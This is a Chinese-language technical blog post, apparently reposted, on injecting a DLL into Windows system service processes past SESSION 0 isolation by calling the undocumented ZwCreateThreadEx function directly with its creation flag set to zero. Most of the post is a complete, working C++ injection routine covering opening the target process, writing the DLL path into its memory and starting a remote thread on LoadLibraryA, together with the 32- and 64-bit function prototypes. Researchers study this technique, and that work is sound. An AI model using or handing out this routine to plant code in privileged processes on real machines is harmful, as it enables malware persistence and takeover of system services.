突破SESSION 0隔離的遠程線程注入


前言:

  之前提到,由於SESSION 0隔離機制,導致傳統遠程線程注入系統服務進程失敗。經過前人的不斷逆向探索,發現直接調用 ZwCreateThreadEx 函數將其第7個參數 CreateSuspended(CreateThreadFlags)的值置為零可以進行遠程線程注入,還可以突破 SESSION 0隔離,成功注入。

實現原理:

  與傳統的CreateRemoteThread函數實現的遠線程注入DLL的唯一區別在於,突破SESSION 0遠線程注入技術是使用比CreateRemoteThread函數更為底層的ZwCreateThreadEx函數來創建遠線程,CreateRemoteThread 之所以注入失敗,是因為引入了會話隔離機制。該機制使得其創建一個進程之后並不會立即運行,而是先掛起進程,在查看要運行的進程所在的會話層之后再決定是否恢復進程運行。跟蹤發現 CreateRemoteThread 函數 ,發現內部調用 ZwCreateThreadEx 函數創建遠程線程的時候,第七個參數 CreateSuspended(CreateThreadFlags)值為1,它會導致線程創建完成后一直掛起無法恢復運行,這就是為什么DLL注入失敗的原因。所以,要想使系統服務進程遠線程注入成功,只需要直接調用ZwCreateThreadEx函數,將第七個參數CreateSuspended(CreateThreadFlags)的值置為零,這樣線程創建完成后就會恢復運行,成功注入。

  注意:由於 ZwCreateThreadEx 在 ntdll.dll並沒有聲明,所以需要自己聲明函數原型,並使用 GetProcAddress 從 ntdll.dll 中獲取該函數的導出地址。而64位與32位系統下,ZwCreateThreadEx函數原型不一樣。

由於會話隔離,系統服務程序不能顯示程序窗體,所以並不會因為MessageBox彈窗。也不能用常規方式創建用戶進程。為了解決服務層和用戶層的交互問題,微軟專門提供了一系列以WTS(Windows Terminal Service)開頭的函數來實現這些功能。

//64位系統下
    DWORD WINAPI ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown
        );

//32位系統下
    DWORD WINAPI ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown
        );

 實現代碼:

BOOL CInjectDlg::ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName)
{
    // 1.打開目標進程
    HANDLE hProcess = OpenProcess(
        PROCESS_ALL_ACCESS,        // 打開權限
        FALSE,                    // 是否繼承
        dwProcessId);            // 進程PID
    if (NULL == hProcess)
    {
        MessageBox(L"打開目標進程失敗!");
        return FALSE;
    }

    // 2.在目標進程中申請空間
    LPVOID lpPathAddr = VirtualAllocEx(
        hProcess,                    // 目標進程句柄
        0,                            // 指定申請地址
        strlen(pszDllFileName) + 1,    // 申請空間大小
        MEM_RESERVE | MEM_COMMIT,    // 內存的狀態
        PAGE_READWRITE);            // 內存屬性
    if (NULL == lpPathAddr)
    {
        MessageBox(L"在目標進程中申請空間失敗!");
        CloseHandle(hProcess);
        return FALSE;
    }

    // 3.在目標進程中寫入Dll路徑
    if (FALSE == WriteProcessMemory(
        hProcess,                    // 目標進程句柄
        lpPathAddr,                    // 目標進程地址
        pszDllFileName,                    // 寫入的緩沖區
        strlen(pszDllFileName) + 1,    // 緩沖區大小
        NULL))                // 實際寫入大小
    {
        MessageBox(L"目標進程中寫入Dll路徑失敗!");
        CloseHandle(hProcess);
        return FALSE;
    }

    //4.加載ntdll.dll
    HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
    if (NULL == hNtdll)
    {
        MessageBox(L"加載ntdll.dll失敗!");
        CloseHandle(hProcess);
        return FALSE;
    }

    //5.獲取LoadLibraryA的函數地址
    //FARPROC可以自適應32位與64位
    FARPROC pFuncProcAddr = GetProcAddress(GetModuleHandle((LPCWSTR)L"kernel32.dll"), "LoadLibraryA");
    if (NULL == pFuncProcAddr)
    {
        MessageBox(L"獲取LoadLibrary函數地址失敗!");
        CloseHandle(hProcess);
        return FALSE;
    }

    //6.獲取ZwCreateThreadEx函數地址,該函數在32位與64位下原型不同
    //_WIN64用來判斷編譯環境 ,_WIN32用來判斷是否是Windows系統
#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown
        );
#else
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown
        );
#endif 
    typedef_ZwCreateThreadEx ZwCreateThreadEx =
        (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");
    if (NULL == ZwCreateThreadEx)
    {
        MessageBox(L"獲取ZwCreateThreadEx函數地址失敗!");
        CloseHandle(hProcess);
        return FALSE;
    }
    //7.在目標進程中創建線程
    HANDLE hRemoteThread = NULL;
    DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
        (LPTHREAD_START_ROUTINE)pFuncProcAddr, lpPathAddr, 0, 0, 0, 0, NULL);
    if (NULL == hRemoteThread)
    {
        MessageBox(L"目標進程中創建線程失敗!");
        CloseHandle(hProcess);
        return FALSE;
    }

    // 8.等待線程結束
    WaitForSingleObject(hRemoteThread, -1);

    // 9.清理環境
    VirtualFreeEx(hProcess, lpPathAddr, 0, MEM_RELEASE);
    CloseHandle(hRemoteThread);
    CloseHandle(hProcess);
    FreeLibrary(hNtdll);
    return TRUE;
}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM